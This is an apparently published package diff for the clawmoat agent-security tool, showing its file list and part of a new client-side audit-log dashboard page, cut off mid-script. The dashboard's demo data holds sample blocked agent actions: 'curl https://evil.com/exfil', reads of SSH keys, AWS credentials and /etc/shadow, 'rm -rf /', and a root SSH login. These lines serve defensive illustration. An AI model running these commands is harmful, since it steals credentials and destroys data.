clawmoat 0.7.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dockerignore +9 -0
- package/CHANGELOG.md +18 -0
- package/CONTRIBUTING.md +4 -2
- package/DEMO.md +87 -0
- package/Dockerfile +5 -18
- package/README.md +294 -8
- package/SECURITY.md +58 -10
- package/THREAT_MODEL.md +129 -0
- package/agent/README.md +131 -0
- package/agent/index.js +471 -0
- package/agent/install-service.sh +94 -0
- package/agent/openclaw-hook.js +453 -0
- package/agent/provider-setup.js +649 -0
- package/agent/setup.js +274 -0
- package/assets/BADGE-USAGE.md +20 -0
- package/assets/clawmoat-badge.svg +21 -0
- package/bin/clawmoat.js +468 -111
- package/docs/affiliates/dashboard.html +124 -0
- package/docs/affiliates/index.html +236 -0
- package/docs/agent-install.html +183 -0
- package/docs/ai-agent-security-scanner.html +10 -6
- package/docs/badge/index.html +149 -0
- package/docs/badge/scanning.svg +23 -0
- package/docs/blog/386-malicious-skills.html +262 -0
- package/docs/blog/40000-exposed-openclaw-instances.html +201 -0
- package/docs/blog/agent-trust-protocol.html +198 -0
- package/docs/blog/ai-agent-earns-commissions.html +230 -0
- package/docs/blog/bugmageddon-agent-firewall.html +174 -0
- package/docs/blog/calculator-math.html +180 -0
- package/docs/blog/clawmoat-vs-llamafirewall-nemo-guardrails.html +229 -0
- package/docs/blog/host-guardian-launch.html +18 -8
- package/docs/blog/ibm-experts-agent-runtime-protection.html +247 -0
- package/docs/blog/index.html +211 -9
- package/docs/blog/langchain-security-tutorial.html +18 -8
- package/docs/blog/mcp-30-cves-security-crisis.html +286 -0
- package/docs/blog/meta-researcher-rogue-agent.html +201 -0
- package/docs/blog/microsoft-openclaw-workstation-security.html +235 -0
- package/docs/blog/nist-ai-agent-standards-clawmoat.html +377 -0
- package/docs/blog/oasis-websocket-hijack.html +212 -0
- package/docs/blog/ollama-openclaw-security.html +160 -0
- package/docs/blog/openclaw-enterprise-readiness-claw10.html +199 -0
- package/docs/blog/openclaw-security-reckoning-2026.html +368 -0
- package/docs/blog/owasp-agentic-ai-top10.html +18 -8
- package/docs/blog/securing-ai-agents.html +18 -8
- package/docs/blog/supply-chain-agents.html +18 -8
- package/docs/business/index.html +525 -0
- package/docs/business/install.html +261 -0
- package/docs/checklist.html +174 -0
- package/docs/compare/index.html +122 -0
- package/docs/compare/lakera/index.html +62 -0
- package/docs/compare/llm-guard/index.html +49 -0
- package/docs/compare/snyk-agent-scan/index.html +63 -0
- package/docs/compare.html +10 -6
- package/docs/dashboard/index.html +520 -0
- package/docs/finance/index.html +220 -0
- package/docs/guides/business-deployment.html +770 -0
- package/docs/hall-of-fame.html +174 -0
- package/docs/index.html +447 -154
- package/docs/install.sh +557 -0
- package/docs/integrations/langchain.html +14 -6
- package/docs/integrations/openai.html +14 -6
- package/docs/integrations/openclaw.html +55 -7
- package/docs/plans/2026-03-26-threat-intel-api.md +255 -0
- package/docs/plans/2026-04-14-bugmageddon-marketing-pack.md +329 -0
- package/docs/plans/2026-04-14-clawmoat-v1-bugmageddon.md +248 -0
- package/docs/plans/2026-04-14-v1-release-update.md +91 -0
- package/docs/plans/2026-04-19-supabase-audit.md +68 -0
- package/docs/plans/2026-05-12-sales-push.md +303 -0
- package/docs/playground/index.html +893 -0
- package/docs/playground.html +4 -7
- package/docs/privacy-policy/index.html +122 -0
- package/docs/rfcs/defense-in-depth.md +467 -0
- package/docs/scan/index.html +358 -0
- package/docs/services/case-study.html +255 -0
- package/docs/services/downloads/install-openclaw.bat +45 -0
- package/docs/services/downloads/install-openclaw.command +38 -0
- package/docs/services/downloads/install-openclaw.sh +38 -0
- package/docs/services/get-started.html +165 -0
- package/docs/services/index.html +598 -0
- package/docs/services/multi-agent-security.html +284 -0
- package/docs/services/one-pager.html +99 -0
- package/docs/services/pitch-deck.html +229 -0
- package/docs/services/roi-calculator.html +258 -0
- package/docs/sitemap.xml +192 -2
- package/docs/support/index.html +135 -0
- package/docs/templates/customer-service/HEARTBEAT.md +61 -0
- package/docs/templates/customer-service/MEMORY.md +89 -0
- package/docs/templates/customer-service/SOUL.md +41 -0
- package/docs/templates/customer-service/USER.md +56 -0
- package/docs/templates/executive/HEARTBEAT.md +86 -0
- package/docs/templates/executive/MEMORY.md +92 -0
- package/docs/templates/executive/SOUL.md +44 -0
- package/docs/templates/executive/USER.md +62 -0
- package/docs/templates/finance/HEARTBEAT.md +58 -0
- package/docs/templates/finance/MEMORY.md +87 -0
- package/docs/templates/finance/SOUL.md +38 -0
- package/docs/templates/finance/USER.md +53 -0
- package/docs/templates/index.html +115 -0
- package/docs/templates/operations/HEARTBEAT.md +63 -0
- package/docs/templates/operations/MEMORY.md +68 -0
- package/docs/templates/operations/SOUL.md +38 -0
- package/docs/templates/operations/USER.md +49 -0
- package/docs/templates/sales/HEARTBEAT.md +55 -0
- package/docs/templates/sales/MEMORY.md +89 -0
- package/docs/templates/sales/SOUL.md +34 -0
- package/docs/templates/sales/USER.md +54 -0
- package/docs/terms-of-service/index.html +122 -0
- package/eslint.config.js +32 -0
- package/evals/README.md +29 -0
- package/evals/cases.json +390 -0
- package/evals/results.md +68 -0
- package/evals/run.js +180 -0
- package/examples/basic-usage.js +38 -0
- package/examples/demo-attack/demo.js +186 -0
- package/examples/python-quickstart/README.md +54 -0
- package/examples/python-quickstart/clawmoat_client.py +167 -0
- package/examples/video-demo/README.md +14 -0
- package/examples/video-demo/scene-a-normal.js +29 -0
- package/examples/video-demo/scene-b-attack-arrives.js +31 -0
- package/examples/video-demo/scene-c-hijack.js +44 -0
- package/examples/video-demo/scene-d-clawmoat.js +46 -0
- package/integrations/crewai/README.md +32 -0
- package/integrations/crewai/clawmoat_crewai/__init__.py +17 -0
- package/integrations/crewai/clawmoat_crewai/guard.py +103 -0
- package/integrations/crewai/pyproject.toml +21 -0
- package/integrations/langchain/README.md +91 -0
- package/integrations/langchain/clawmoat_langchain/__init__.py +17 -0
- package/integrations/langchain/clawmoat_langchain/callback.py +489 -0
- package/integrations/langchain/pyproject.toml +32 -0
- package/integrations/litellm/README.md +324 -0
- package/integrations/litellm/clawmoat_litellm/__init__.py +21 -0
- package/integrations/litellm/clawmoat_litellm/callback.py +329 -0
- package/integrations/litellm/clawmoat_litellm/proxy_middleware.py +224 -0
- package/integrations/litellm/pyproject.toml +74 -0
- package/integrations/openai-agents/README.md +392 -0
- package/integrations/openai-agents/clawmoat_openai_agents/__init__.py +20 -0
- package/integrations/openai-agents/clawmoat_openai_agents/guardrail.py +431 -0
- package/integrations/openai-agents/clawmoat_openai_agents/middleware.py +311 -0
- package/integrations/openai-agents/pyproject.toml +76 -0
- package/package.json +6 -5
- package/plugins/openclaw-adapter/PHASE1.md +439 -0
- package/plugins/openclaw-adapter/README.md +103 -0
- package/plugins/openclaw-adapter/SPEC.md +1644 -0
- package/plugins/openclaw-adapter/package.json +31 -0
- package/plugins/openclaw-adapter/src/index.test.ts +226 -0
- package/plugins/openclaw-adapter/src/index.ts +140 -0
- package/plugins/openclaw-adapter/tsconfig.json +14 -0
- package/server/data/threats.json +290 -0
- package/server/index.js +224 -10
- package/src/adapters/express.js +161 -0
- package/src/adapters/index.js +92 -0
- package/src/adapters/langchain.js +185 -0
- package/src/approval/index.js +456 -0
- package/src/ban-scanner.js +200 -0
- package/src/boundary-scanner.js +296 -0
- package/src/ci-scanner.js +279 -0
- package/src/code-scanner.js +245 -0
- package/src/enforce.js +166 -0
- package/src/finance/index.js +585 -0
- package/src/finance/mcp-firewall.js +486 -0
- package/src/formatters/json.js +80 -0
- package/src/formatters/sarif.js +388 -0
- package/src/guardian/alerts.js +34 -3
- package/src/guardian/gateway-monitor.js +590 -0
- package/src/guardian/index.js +41 -2
- package/src/index.js +105 -0
- package/src/integrations/agentmesh.js +501 -0
- package/src/language-detector.js +201 -0
- package/src/mcp-scanner.js +253 -0
- package/src/multimodal/index.js +579 -0
- package/src/obfuscation-scanner.js +457 -0
- package/src/policy-engine.js +402 -0
- package/src/scanners/dependency-attacks.js +128 -0
- package/src/scanners/prompt-injection.js +18 -0
- package/src/scanners/supply-chain.js +14 -0
- package/src/templates/default-config.yml +90 -0
- package/src/vuln-ops/exploitability.js +46 -0
- package/src/watch/live-monitor.js +720 -0
|
@@ -0,0 +1,520 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html lang="en">
|
|
3
|
+
<head>
|
|
4
|
+
<meta charset="UTF-8">
|
|
5
|
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
6
|
+
<title>Agent Activity Dashboard — ClawMoat</title>
|
|
7
|
+
<meta name="description" content="Free browser-based dashboard to visualize ClawMoat audit logs. See agent activity, blocked actions, security scores, and suspicious patterns. 100% client-side.">
|
|
8
|
+
<link rel="canonical" href="https://clawmoat.com/dashboard/">
|
|
9
|
+
<link rel="icon" type="image/png" href="/favicon.png">
|
|
10
|
+
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
|
|
11
|
+
<meta property="og:title" content="Agent Activity Dashboard — ClawMoat">
|
|
12
|
+
<meta property="og:description" content="Free tool to visualize ClawMoat audit logs. Charts, security scores, blocked action analysis. No data leaves your browser.">
|
|
13
|
+
<meta property="og:url" content="https://clawmoat.com/dashboard/">
|
|
14
|
+
<meta property="og:type" content="website">
|
|
15
|
+
<meta name="twitter:card" content="summary_large_image">
|
|
16
|
+
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js"></script>
|
|
17
|
+
<style>
|
|
18
|
+
*{margin:0;padding:0;box-sizing:border-box}
|
|
19
|
+
:root{--navy:#0F172A;--navy-light:#1E293B;--navy-mid:#334155;--blue:#3B82F6;--emerald:#10B981;--white:#F8FAFC;--gray:#94A3B8;--red:#EF4444;--amber:#F59E0B;--purple:#8B5CF6}
|
|
20
|
+
html{scroll-behavior:smooth}
|
|
21
|
+
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--navy);color:var(--white);line-height:1.6}
|
|
22
|
+
a{color:var(--blue);text-decoration:none}
|
|
23
|
+
a:hover{text-decoration:underline}
|
|
24
|
+
|
|
25
|
+
/* Nav */
|
|
26
|
+
nav{background:rgba(15,23,42,.95);backdrop-filter:blur(12px);border-bottom:1px solid rgba(59,130,246,.15);padding:16px 0;position:sticky;top:0;z-index:100}
|
|
27
|
+
nav .container{display:flex;align-items:center;justify-content:space-between;max-width:1200px;margin:0 auto;padding:0 24px}
|
|
28
|
+
.logo{font-size:1.25rem;font-weight:700;display:flex;align-items:center;gap:8px;color:var(--white)}
|
|
29
|
+
.logo img{height:36px}
|
|
30
|
+
.nav-links{display:flex;gap:24px;align-items:center}
|
|
31
|
+
.nav-links a{color:var(--gray);font-size:.9rem;transition:color .2s}
|
|
32
|
+
.nav-links a:hover{color:var(--white);text-decoration:none}
|
|
33
|
+
.btn-sm{color:var(--navy)!important;background:var(--emerald);padding:6px 20px;border-radius:20px;font-weight:600;font-size:.85rem}
|
|
34
|
+
|
|
35
|
+
/* Layout */
|
|
36
|
+
.container{max-width:1200px;margin:0 auto;padding:0 24px}
|
|
37
|
+
.hero{padding:60px 0 40px;text-align:center}
|
|
38
|
+
.hero h1{font-size:2.5rem;font-weight:800;margin-bottom:12px;letter-spacing:-.02em}
|
|
39
|
+
.hero h1 span{background:linear-gradient(135deg,var(--blue),var(--emerald));-webkit-background-clip:text;-webkit-text-fill-color:transparent;background-clip:text}
|
|
40
|
+
.hero p{color:var(--gray);font-size:1.1rem;max-width:600px;margin:0 auto}
|
|
41
|
+
.badge{display:inline-flex;align-items:center;gap:6px;background:rgba(16,185,129,.12);color:var(--emerald);padding:4px 14px;border-radius:20px;font-size:.8rem;font-weight:600;margin-bottom:16px}
|
|
42
|
+
|
|
43
|
+
/* Input section */
|
|
44
|
+
.input-section{max-width:800px;margin:40px auto;padding:0 24px}
|
|
45
|
+
.input-box{background:var(--navy-light);border:2px dashed var(--navy-mid);border-radius:12px;padding:40px;text-align:center;transition:border-color .2s;position:relative}
|
|
46
|
+
.input-box.dragover{border-color:var(--blue)}
|
|
47
|
+
.input-box h3{margin-bottom:8px;font-size:1.1rem}
|
|
48
|
+
.input-box p{color:var(--gray);font-size:.9rem;margin-bottom:20px}
|
|
49
|
+
textarea{width:100%;height:160px;background:var(--navy);border:1px solid var(--navy-mid);border-radius:8px;color:var(--white);padding:12px;font-family:'Fira Code',monospace;font-size:.85rem;resize:vertical}
|
|
50
|
+
textarea::placeholder{color:var(--navy-mid)}
|
|
51
|
+
.btn-row{display:flex;gap:12px;justify-content:center;margin-top:16px;flex-wrap:wrap}
|
|
52
|
+
.btn{display:inline-flex;align-items:center;gap:8px;padding:12px 24px;border-radius:8px;font-weight:600;font-size:.95rem;border:none;cursor:pointer;transition:all .2s}
|
|
53
|
+
.btn-primary{background:var(--blue);color:#fff}
|
|
54
|
+
.btn-primary:hover{opacity:.9}
|
|
55
|
+
.btn-outline{background:transparent;color:var(--gray);border:1px solid var(--navy-mid)}
|
|
56
|
+
.btn-outline:hover{color:var(--white);border-color:var(--gray)}
|
|
57
|
+
.btn-green{background:var(--emerald);color:var(--navy)}
|
|
58
|
+
.btn-green:hover{opacity:.9}
|
|
59
|
+
input[type=file]{display:none}
|
|
60
|
+
|
|
61
|
+
/* Dashboard grid */
|
|
62
|
+
.dashboard{display:none;max-width:1200px;margin:0 auto;padding:40px 24px 80px}
|
|
63
|
+
.stats-row{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:16px;margin-bottom:32px}
|
|
64
|
+
.stat-card{background:var(--navy-light);border-radius:12px;padding:20px;border:1px solid rgba(255,255,255,.06)}
|
|
65
|
+
.stat-card .label{font-size:.8rem;color:var(--gray);text-transform:uppercase;letter-spacing:.05em;margin-bottom:4px}
|
|
66
|
+
.stat-card .value{font-size:2rem;font-weight:800}
|
|
67
|
+
.stat-card .sub{font-size:.8rem;color:var(--gray);margin-top:4px}
|
|
68
|
+
.score-good{color:var(--emerald)}
|
|
69
|
+
.score-medium{color:var(--amber)}
|
|
70
|
+
.score-bad{color:var(--red)}
|
|
71
|
+
|
|
72
|
+
.charts-row{display:grid;grid-template-columns:2fr 1fr;gap:24px;margin-bottom:32px}
|
|
73
|
+
.chart-card{background:var(--navy-light);border-radius:12px;padding:24px;border:1px solid rgba(255,255,255,.06)}
|
|
74
|
+
.chart-card h3{font-size:1rem;margin-bottom:16px;color:var(--gray)}
|
|
75
|
+
.chart-container{position:relative;height:280px}
|
|
76
|
+
|
|
77
|
+
.table-section{background:var(--navy-light);border-radius:12px;padding:24px;border:1px solid rgba(255,255,255,.06);margin-bottom:32px}
|
|
78
|
+
.table-section h3{font-size:1rem;margin-bottom:16px;color:var(--gray)}
|
|
79
|
+
table{width:100%;border-collapse:collapse}
|
|
80
|
+
th,td{text-align:left;padding:10px 12px;font-size:.85rem}
|
|
81
|
+
th{color:var(--gray);font-weight:600;border-bottom:1px solid var(--navy-mid);text-transform:uppercase;font-size:.75rem;letter-spacing:.05em}
|
|
82
|
+
td{border-bottom:1px solid rgba(255,255,255,.04)}
|
|
83
|
+
.tag{display:inline-block;padding:2px 10px;border-radius:10px;font-size:.75rem;font-weight:600}
|
|
84
|
+
.tag-blocked{background:rgba(239,68,68,.15);color:var(--red)}
|
|
85
|
+
.tag-allowed{background:rgba(16,185,129,.15);color:var(--emerald)}
|
|
86
|
+
.tag-warn{background:rgba(245,158,11,.15);color:var(--amber)}
|
|
87
|
+
|
|
88
|
+
.recommendations{background:var(--navy-light);border-radius:12px;padding:24px;border:1px solid rgba(255,255,255,.06);margin-bottom:32px}
|
|
89
|
+
.recommendations h3{font-size:1rem;margin-bottom:16px;color:var(--gray)}
|
|
90
|
+
.rec-item{display:flex;gap:12px;align-items:flex-start;padding:12px 0;border-bottom:1px solid rgba(255,255,255,.04)}
|
|
91
|
+
.rec-item:last-child{border:none}
|
|
92
|
+
.rec-icon{font-size:1.2rem;flex-shrink:0;margin-top:2px}
|
|
93
|
+
.rec-text strong{display:block;margin-bottom:2px}
|
|
94
|
+
.rec-text p{color:var(--gray);font-size:.85rem}
|
|
95
|
+
|
|
96
|
+
.tier-bar{display:flex;height:32px;border-radius:8px;overflow:hidden;margin-top:8px}
|
|
97
|
+
.tier-segment{display:flex;align-items:center;justify-content:center;font-size:.7rem;font-weight:700;min-width:40px;transition:width .5s}
|
|
98
|
+
|
|
99
|
+
/* CTA */
|
|
100
|
+
.cta-section{text-align:center;padding:60px 24px;border-top:1px solid rgba(255,255,255,.06)}
|
|
101
|
+
.cta-section h2{font-size:1.8rem;font-weight:800;margin-bottom:12px}
|
|
102
|
+
.cta-section p{color:var(--gray);margin-bottom:24px;max-width:500px;margin-left:auto;margin-right:auto}
|
|
103
|
+
|
|
104
|
+
/* Print */
|
|
105
|
+
@media print{
|
|
106
|
+
nav,.input-section,.cta-section,.btn-row{display:none!important}
|
|
107
|
+
.dashboard{display:block!important}
|
|
108
|
+
body{background:#fff;color:#000}
|
|
109
|
+
.stat-card,.chart-card,.table-section,.recommendations{border:1px solid #ddd;background:#fff}
|
|
110
|
+
.stat-card .label,.chart-card h3,.recommendations h3,.table-section h3,th{color:#666}
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
/* Responsive */
|
|
114
|
+
@media(max-width:768px){
|
|
115
|
+
.charts-row{grid-template-columns:1fr}
|
|
116
|
+
.hero h1{font-size:1.8rem}
|
|
117
|
+
.stats-row{grid-template-columns:repeat(2,1fr)}
|
|
118
|
+
.nav-links{display:none}
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
/* Suspicious patterns */
|
|
122
|
+
.suspicious{background:var(--navy-light);border-radius:12px;padding:24px;border:1px solid rgba(239,68,68,.2);margin-bottom:32px}
|
|
123
|
+
.suspicious h3{color:var(--red);font-size:1rem;margin-bottom:16px}
|
|
124
|
+
.pattern-item{display:flex;justify-content:space-between;align-items:center;padding:10px 0;border-bottom:1px solid rgba(255,255,255,.04)}
|
|
125
|
+
.pattern-item:last-child{border:none}
|
|
126
|
+
.pattern-name{font-weight:600;font-size:.9rem}
|
|
127
|
+
.pattern-count{background:rgba(239,68,68,.15);color:var(--red);padding:2px 10px;border-radius:10px;font-size:.8rem;font-weight:600}
|
|
128
|
+
</style>
|
|
129
|
+
</head>
|
|
130
|
+
<body>
|
|
131
|
+
|
|
132
|
+
<nav>
|
|
133
|
+
<div class="container">
|
|
134
|
+
<a href="/" class="logo"><img src="/logo.svg" alt="ClawMoat">ClawMoat</a>
|
|
135
|
+
<div class="nav-links">
|
|
136
|
+
<a href="/">Home</a>
|
|
137
|
+
<a href="/scan/">Scanner</a>
|
|
138
|
+
<a href="/dashboard/" style="color:var(--white)">Dashboard</a>
|
|
139
|
+
<a href="/blog/">Blog</a>
|
|
140
|
+
<a href="https://github.com/darfaz/clawmoat" class="btn-sm">GitHub ★</a>
|
|
141
|
+
</div>
|
|
142
|
+
</div>
|
|
143
|
+
</nav>
|
|
144
|
+
|
|
145
|
+
<section class="hero">
|
|
146
|
+
<div class="container">
|
|
147
|
+
<div class="badge">🔒 100% Client-Side — No Data Leaves Your Browser</div>
|
|
148
|
+
<h1>Agent Activity <span>Dashboard</span></h1>
|
|
149
|
+
<p>Visualize your ClawMoat audit logs. See what your AI agents are doing, what got blocked, and where the risks are.</p>
|
|
150
|
+
</div>
|
|
151
|
+
</section>
|
|
152
|
+
|
|
153
|
+
<section class="input-section" id="inputSection">
|
|
154
|
+
<div class="input-box" id="dropZone">
|
|
155
|
+
<h3>📊 Load Your Audit Log</h3>
|
|
156
|
+
<p>Paste ClawMoat audit log JSON below, or drag & drop a file</p>
|
|
157
|
+
<textarea id="logInput" placeholder='[
|
|
158
|
+
{"timestamp":"2026-03-01T10:00:00Z","action":"file_read","path":"/home/user/.ssh/id_rsa","result":"blocked","category":"file_access","tier":"strict"},
|
|
159
|
+
{"timestamp":"2026-03-01T10:01:00Z","action":"tool_call","tool":"exec","result":"allowed","category":"tool_call","tier":"standard"},
|
|
160
|
+
...
|
|
161
|
+
]'></textarea>
|
|
162
|
+
<div class="btn-row">
|
|
163
|
+
<button class="btn btn-primary" onclick="analyzeLog()">🔍 Analyze Log</button>
|
|
164
|
+
<label class="btn btn-outline" for="fileInput">📁 Upload JSON</label>
|
|
165
|
+
<input type="file" id="fileInput" accept=".json,.jsonl,.log" onchange="loadFile(event)">
|
|
166
|
+
<button class="btn btn-outline" onclick="loadDemo()">⚡ Try Demo Data</button>
|
|
167
|
+
<button class="btn btn-outline" onclick="exportPDF()" id="exportBtn" style="display:none">📄 Export PDF</button>
|
|
168
|
+
</div>
|
|
169
|
+
</div>
|
|
170
|
+
</section>
|
|
171
|
+
|
|
172
|
+
<div class="dashboard" id="dashboard">
|
|
173
|
+
<div class="stats-row">
|
|
174
|
+
<div class="stat-card">
|
|
175
|
+
<div class="label">Security Score</div>
|
|
176
|
+
<div class="value" id="securityScore">—</div>
|
|
177
|
+
<div class="sub" id="scoreLabel">Analyzing...</div>
|
|
178
|
+
</div>
|
|
179
|
+
<div class="stat-card">
|
|
180
|
+
<div class="label">Total Events</div>
|
|
181
|
+
<div class="value" id="totalEvents">0</div>
|
|
182
|
+
<div class="sub" id="timeRange">—</div>
|
|
183
|
+
</div>
|
|
184
|
+
<div class="stat-card">
|
|
185
|
+
<div class="label">Blocked Actions</div>
|
|
186
|
+
<div class="value" id="blockedCount" style="color:var(--red)">0</div>
|
|
187
|
+
<div class="sub" id="blockRate">0% block rate</div>
|
|
188
|
+
</div>
|
|
189
|
+
<div class="stat-card">
|
|
190
|
+
<div class="label">Secrets Detected</div>
|
|
191
|
+
<div class="value" id="secretsCount" style="color:var(--amber)">0</div>
|
|
192
|
+
<div class="sub">credential exposures caught</div>
|
|
193
|
+
</div>
|
|
194
|
+
</div>
|
|
195
|
+
|
|
196
|
+
<!-- Permission Tier Usage -->
|
|
197
|
+
<div class="chart-card" style="margin-bottom:32px">
|
|
198
|
+
<h3>🛡️ Permission Tier Usage</h3>
|
|
199
|
+
<div id="tierDisplay" style="margin-top:8px"></div>
|
|
200
|
+
</div>
|
|
201
|
+
|
|
202
|
+
<div class="charts-row">
|
|
203
|
+
<div class="chart-card">
|
|
204
|
+
<h3>📈 Agent Activity Over Time</h3>
|
|
205
|
+
<div class="chart-container"><canvas id="timeChart"></canvas></div>
|
|
206
|
+
</div>
|
|
207
|
+
<div class="chart-card">
|
|
208
|
+
<h3>📊 Events by Category</h3>
|
|
209
|
+
<div class="chart-container"><canvas id="categoryChart"></canvas></div>
|
|
210
|
+
</div>
|
|
211
|
+
</div>
|
|
212
|
+
|
|
213
|
+
<!-- Suspicious Patterns -->
|
|
214
|
+
<div class="suspicious" id="suspiciousSection" style="display:none">
|
|
215
|
+
<h3>⚠️ Suspicious Patterns Detected</h3>
|
|
216
|
+
<div id="suspiciousPatterns"></div>
|
|
217
|
+
</div>
|
|
218
|
+
|
|
219
|
+
<!-- Blocked Actions Table -->
|
|
220
|
+
<div class="table-section">
|
|
221
|
+
<h3>🚫 Top Blocked Actions</h3>
|
|
222
|
+
<table>
|
|
223
|
+
<thead><tr><th>Action</th><th>Target</th><th>Category</th><th>Count</th><th>Status</th></tr></thead>
|
|
224
|
+
<tbody id="blockedTable"></tbody>
|
|
225
|
+
</table>
|
|
226
|
+
</div>
|
|
227
|
+
|
|
228
|
+
<!-- Recommendations -->
|
|
229
|
+
<div class="recommendations">
|
|
230
|
+
<h3>💡 Security Recommendations</h3>
|
|
231
|
+
<div id="recList"></div>
|
|
232
|
+
</div>
|
|
233
|
+
</div>
|
|
234
|
+
|
|
235
|
+
<section class="cta-section" id="ctaSection">
|
|
236
|
+
<h2>Protect Your Machine from AI Agents</h2>
|
|
237
|
+
<p>ClawMoat is the open-source security layer that guards your files, credentials, and system from autonomous AI agents.</p>
|
|
238
|
+
<div class="btn-row">
|
|
239
|
+
<a href="https://github.com/darfaz/clawmoat" class="btn btn-primary">⭐ Star on GitHub</a>
|
|
240
|
+
<a href="/" class="btn btn-green">Get ClawMoat — Free</a>
|
|
241
|
+
</div>
|
|
242
|
+
</section>
|
|
243
|
+
|
|
244
|
+
<script>
|
|
245
|
+
// Demo data generator
|
|
246
|
+
function generateDemoData(){
|
|
247
|
+
const cats=['file_access','network','tool_call','secrets_detected','file_access','tool_call','file_access','network','tool_call','tool_call'];
|
|
248
|
+
const tiers=['strict','standard','permissive','strict','standard'];
|
|
249
|
+
const actions=[
|
|
250
|
+
{action:'file_read',path:'/home/user/.ssh/id_rsa',result:'blocked',category:'file_access'},
|
|
251
|
+
{action:'file_read',path:'/home/user/.aws/credentials',result:'blocked',category:'file_access'},
|
|
252
|
+
{action:'file_read',path:'/home/user/project/src/app.js',result:'allowed',category:'file_access'},
|
|
253
|
+
{action:'exec',tool:'bash',args:'curl https://evil.com/exfil',result:'blocked',category:'network'},
|
|
254
|
+
{action:'exec',tool:'bash',args:'npm install lodash',result:'allowed',category:'tool_call'},
|
|
255
|
+
{action:'tool_call',tool:'web_fetch',args:'https://api.example.com/data',result:'allowed',category:'network'},
|
|
256
|
+
{action:'file_write',path:'/etc/passwd',result:'blocked',category:'file_access'},
|
|
257
|
+
{action:'exec',tool:'bash',args:'cat /etc/shadow',result:'blocked',category:'file_access'},
|
|
258
|
+
{action:'outbound_scan',detail:'AWS_SECRET_KEY detected in outbound message',result:'blocked',category:'secrets_detected'},
|
|
259
|
+
{action:'tool_call',tool:'message_send',args:'email to external',result:'allowed',category:'tool_call'},
|
|
260
|
+
{action:'file_read',path:'/home/user/.env',result:'blocked',category:'secrets_detected'},
|
|
261
|
+
{action:'exec',tool:'bash',args:'git push origin main',result:'allowed',category:'tool_call'},
|
|
262
|
+
{action:'file_read',path:'/home/user/project/README.md',result:'allowed',category:'file_access'},
|
|
263
|
+
{action:'exec',tool:'bash',args:'rm -rf /',result:'blocked',category:'tool_call'},
|
|
264
|
+
{action:'network_request',url:'https://pastebin.com/raw/abc123',result:'blocked',category:'network'},
|
|
265
|
+
{action:'file_read',path:'/home/user/.gnupg/private-keys-v1.d',result:'blocked',category:'file_access'},
|
|
266
|
+
{action:'tool_call',tool:'read',args:'/home/user/project/config.yaml',result:'allowed',category:'file_access'},
|
|
267
|
+
{action:'outbound_scan',detail:'GitHub token detected in clipboard',result:'blocked',category:'secrets_detected'},
|
|
268
|
+
{action:'exec',tool:'bash',args:'python3 train.py',result:'allowed',category:'tool_call'},
|
|
269
|
+
{action:'file_write',path:'/home/user/project/output.json',result:'allowed',category:'file_access'},
|
|
270
|
+
{action:'network_request',url:'https://crypto-miner.xyz/mine',result:'blocked',category:'network'},
|
|
271
|
+
{action:'exec',tool:'bash',args:'ls -la /tmp',result:'allowed',category:'tool_call'},
|
|
272
|
+
{action:'file_read',path:'/home/user/.bash_history',result:'blocked',category:'file_access'},
|
|
273
|
+
{action:'tool_call',tool:'web_search',args:'how to bypass security',result:'allowed',category:'tool_call'},
|
|
274
|
+
{action:'exec',tool:'bash',args:'ssh root@production-server',result:'blocked',category:'network'},
|
|
275
|
+
];
|
|
276
|
+
const base=new Date('2026-03-01T08:00:00Z');
|
|
277
|
+
const events=[];
|
|
278
|
+
for(let i=0;i<120;i++){
|
|
279
|
+
const template=actions[Math.floor(Math.random()*actions.length)];
|
|
280
|
+
const t=new Date(base.getTime()+i*180000+Math.random()*60000);
|
|
281
|
+
events.push({...template,timestamp:t.toISOString(),tier:tiers[Math.floor(Math.random()*tiers.length)]});
|
|
282
|
+
}
|
|
283
|
+
return events;
|
|
284
|
+
}
|
|
285
|
+
|
|
286
|
+
let timeChartInstance=null, catChartInstance=null;
|
|
287
|
+
|
|
288
|
+
function loadDemo(){
|
|
289
|
+
const data=generateDemoData();
|
|
290
|
+
document.getElementById('logInput').value=JSON.stringify(data,null,2);
|
|
291
|
+
analyzeLog();
|
|
292
|
+
}
|
|
293
|
+
|
|
294
|
+
function loadFile(e){
|
|
295
|
+
const file=e.target.files[0];
|
|
296
|
+
if(!file)return;
|
|
297
|
+
const reader=new FileReader();
|
|
298
|
+
reader.onload=function(ev){
|
|
299
|
+
document.getElementById('logInput').value=ev.target.result;
|
|
300
|
+
analyzeLog();
|
|
301
|
+
};
|
|
302
|
+
reader.readAsText(file);
|
|
303
|
+
}
|
|
304
|
+
|
|
305
|
+
// Drag and drop
|
|
306
|
+
const dz=document.getElementById('dropZone');
|
|
307
|
+
dz.addEventListener('dragover',e=>{e.preventDefault();dz.classList.add('dragover')});
|
|
308
|
+
dz.addEventListener('dragleave',()=>dz.classList.remove('dragover'));
|
|
309
|
+
dz.addEventListener('drop',e=>{
|
|
310
|
+
e.preventDefault();dz.classList.remove('dragover');
|
|
311
|
+
const file=e.dataTransfer.files[0];
|
|
312
|
+
if(file){const r=new FileReader();r.onload=ev=>{document.getElementById('logInput').value=ev.target.result;analyzeLog()};r.readAsText(file)}
|
|
313
|
+
});
|
|
314
|
+
|
|
315
|
+
function parseLog(raw){
|
|
316
|
+
raw=raw.trim();
|
|
317
|
+
// Try JSON array
|
|
318
|
+
try{const d=JSON.parse(raw);if(Array.isArray(d))return d;return[d]}catch(e){}
|
|
319
|
+
// Try JSONL
|
|
320
|
+
const lines=raw.split('\n').filter(l=>l.trim());
|
|
321
|
+
const results=[];
|
|
322
|
+
for(const l of lines){try{results.push(JSON.parse(l))}catch(e){}}
|
|
323
|
+
return results;
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
function analyzeLog(){
|
|
327
|
+
const raw=document.getElementById('logInput').value;
|
|
328
|
+
const events=parseLog(raw);
|
|
329
|
+
if(!events.length){alert('No valid log entries found. Check format.');return}
